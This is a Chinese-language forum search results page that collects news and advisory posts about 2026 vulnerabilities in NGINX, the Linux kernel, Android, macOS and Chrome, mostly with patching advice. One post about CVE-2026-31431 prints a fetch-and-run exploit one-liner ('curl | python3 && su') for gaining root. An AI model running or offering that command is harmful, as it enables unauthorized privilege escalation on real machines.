檢索結果 CVE-2026-55999
CVE-2026-55999 貼吧
一個關鍵字就是一個貼吧，路徑全站唯一。
用戶
未找到
包含 CVE-2026-55999 的搜尋結果
NGINX 高危漏洞 CVE-2026-42945 已遭黑客利用，该漏洞影响 NGINX Open Source 与 NGINX Plus 0.6.27 至 1.30.0 版本，可导致 worker 进程崩溃，并在关闭 ASLR 防护情况下实现远程代码执行（RCE）。Ledger CTO Charles Guillemet 表示，目前真正运行最新版本 NGINX 的服务器可能不超过 30%，漏洞传播速度正快于 IT 团队修补与升级速度。
顯示更多
看到Xint Code研究团队放出的CVE-2026-31431简直是王炸，换句话说通杀所有Linux发行版，致使低权限账户获得root权限：
curl | python3 && su CVE-2026-31431
建议尽快更新系统，事态紧急可以先打个补丁
echo "install algif_aead /bin/false" > /etc/modprobe.d/disable-algif-aead.conf
rmmod algif_aead 2>/dev/null
详细参考👉
顯示更多
吴说获悉，Google 发布 2026 年 11 月 Android 安全公告，修复超过 200 项安全漏洞，其中 Framework 组件的 CVE-2026-58868 被评为严重级别，可能允许攻击者在无需用户交互或额外执行权限的情况下远程执行代码，影响 Android 14、15、16 和 17。Google 表示，2026-11-01 安全补丁已包含该漏洞修复，2026-11-05 补丁则覆盖本轮全部适用漏洞。目前尚无该漏洞被实际利用的确认报告。使用安卓手机管理加密钱包或交易所账户的用户应及时检查并安装系统安全更新。
顯示更多
据 The Hacker News 报道，Apple macOS 的高危屏幕共享漏洞 CVE-2026-65400 已遭黑客实际利用。荷兰国家网络安全中心表示，攻击者针对将 5900 端口暴露至公网的 Mac 绕过认证并获取 root 权限，随后部署 Monero 挖矿程序。Apple 已于 8 月 6 日发布更新修复该漏洞，并建议无法立即升级的用户关闭屏幕共享功能。
顯示更多
Chrome 曝出高危 0day 漏洞：已遭黑客实际利用，Google 紧急发布更新｜CVE-2026-125350
吴说获悉，Solana 基金会验证者关系负责人 Tim Garcia 发推称，Linux 内核漏洞 CVE-2026-98432 已获修复，但 Ubuntu 尚未发布补丁。Tim Garcia 建议运行 Ubuntu 的验证者暂时阻止含 IPv4 选项的入站 TCP 数据包，并禁用多路径 TCP 及 TCP 请求套接字迁移。
顯示更多
Copy Fail：2017年至今的漏洞，一个脚本获得 Linux root 管理员权限｜CVE-2026-31431
🚨 Android 零点击 RCE 已进 11 月安全补丁，这个务必升级！
Google 2026-11 公告修复 200+ 漏洞，最严重为 Framework 层 CVE-2026-58868（Critical）：
🔥 远程执行任意代码，无需用户交互、无需额外权限（Zero-Click）
•影响 Android 14 / 15 / 16 / 16 QPR2 / 17
•目前无确认在野利用
补丁：
•≥ 2026-11-01 → 含 CVE-2026-58868 等 Framework/System 修复
•≥ 2026-11-05 → 覆盖本轮全部漏洞（含内核 / 联发科 / 高通等芯片层）
处置：设置 → 关于手机 → Android 版本 → 看「安全补丁级别」
顯示更多
吴说获悉，Google 发布 Chrome 浏览器安全更新，修复 9 项安全漏洞，其中包括已出现野外利用的高危零日漏洞 CVE-2026-125350。该漏洞存在于 Chrome 的 XML 组件，属于释放后使用（Use-After-Free，UAF）内存安全漏洞，由匿名研究人员于 11 月 6 日报告。Google 确认已发现该漏洞的野外利用情况，但尚未披露具体攻击方式、受害者范围或攻击者身份。本次更新将 Windows 和 macOS 版本升级至 157.0.8103.50/.51，Linux 版本升级至 157.0.8103.50。Google 表示，更新将在未来数天至数周内逐步推送，建议用户及时升级并重启浏览器以应用修复。
顯示更多
吴说获悉，Cardano 生态治理组织 Intersect 于 10 月 30 日发布安全提醒，敦促质押池运营商尽快修复 Linux 内核严重漏洞 CVE-2026-98432，其 CVSS 3.1 评分为 9.8。该漏洞影响包括 Ubuntu 在内的多个 Linux 发行版，涉及 IPv4 TCP 连接处理过程中的内存安全问题，攻击者在特定条件下可能未经身份验证远程执行代码。Intersect 建议运营商检查出块节点及中继服务器的内核版本，并在相应发行版提供修复补丁后及时更新和重启。截至公告发布时，部分 Linux 发行版已有修复版本，Ubuntu 的相关补丁仍在准备中。
顯示更多